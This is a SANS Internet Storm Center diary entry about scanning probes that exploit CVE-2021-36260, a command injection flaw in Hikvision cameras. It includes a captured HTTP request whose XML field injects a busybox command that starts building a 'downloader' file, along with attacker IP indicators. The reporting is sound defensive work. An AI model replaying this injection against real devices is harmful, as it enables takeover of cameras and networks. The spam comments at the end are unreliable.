Hikvision Security Cameras Potentially Exposed to Remote Code Execution
These probes appear to be related to a remote code execution (RCE) vulnerability (CVE-2021-36260) impacting Hikvision's popular Internet of things (IoT) security camera. If exploited by unauthenticated malicious actors, it could lead to full control over targeted devices and possibly internal networks. Shodan statistics have identified over 3.2 million camera on the internet.
Hikvision released an advisory on 2021-09-19 and recommend that any version dated earlier than 210628 to install the updates immediately.
Sample Log
20211115-033051: 192.168.25.9:81-185.53.90.110:43842 data
PUT /SDK/webLanguage HTTP/1.1
nHost: XX.XX.162.19:81
User-Agent: Go-http-client/1.1
Content-Length: 257
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,sv;q=0.8
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
<?xml version=\\"1.0\\" encoding=\\"UTF-8\\"?>
<language>
$(busybox echo -en "\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xa4\\x03\\x00\\x00\\x1e\\x00\\x00\\x00\\x00\\x00\\x00\\x00" >> downloader)
</language>'
Indicators
50.31.21.7
185.53.90.110
Information on how to update the security camera available here.
[1] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-36260
[2] https://www.hikvision.com/en/support/cybersecurity/security-advisory/security-notification-command-injection-vulnerability-in-some-hikvision-products/security-notification-command-injection-vulnerability-in-some-hikvision-products/
[3] https://watchfulip.github.io/2021/09/18/Hikvision-IP-Camera-Unauthenticated-RCE.html
[4] https://github.com/Aiminsun/CVE-2021-36260/blob/main/CVE-2021-36260.py
[5] https://isc.sans.edu/ipinfo.html?ip=185.53.90.110
[6] https://www.shodan.io/search?query=hikvision
[7] https://ca.hikvision.com/en
-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu
Comments
www
Nov 17th 2022
6 months ago
EEW
Nov 17th 2022
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qwq
Nov 17th 2022
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mashood
Nov 17th 2022
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isc.sans.edu
Nov 23rd 2022
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isc.sans.edu
Nov 23rd 2022
6 months ago
isc.sans.edu
Dec 3rd 2022
5 months ago
isc.sans.edu
Dec 3rd 2022
5 months ago
<a hreaf="https://technolytical.com/">the social network</a> is described as follows because they respect your privacy and keep your data secure. The social networks are not interested in collecting data about you. They don't care about what you're doing, or what you like. They don't want to know who you talk to, or where you go.
<a hreaf="https://technolytical.com/">the social network</a> is not interested in collecting data about you. They don't care about what you're doing, or what you like. They don't want to know who you talk to, or where you go. The social networks only collect the minimum amount of information required for the service that they provide. Your personal information is kept private, and is never shared with other companies without your permission
isc.sans.edu
Dec 26th 2022
5 months ago
isc.sans.edu
Dec 26th 2022
5 months ago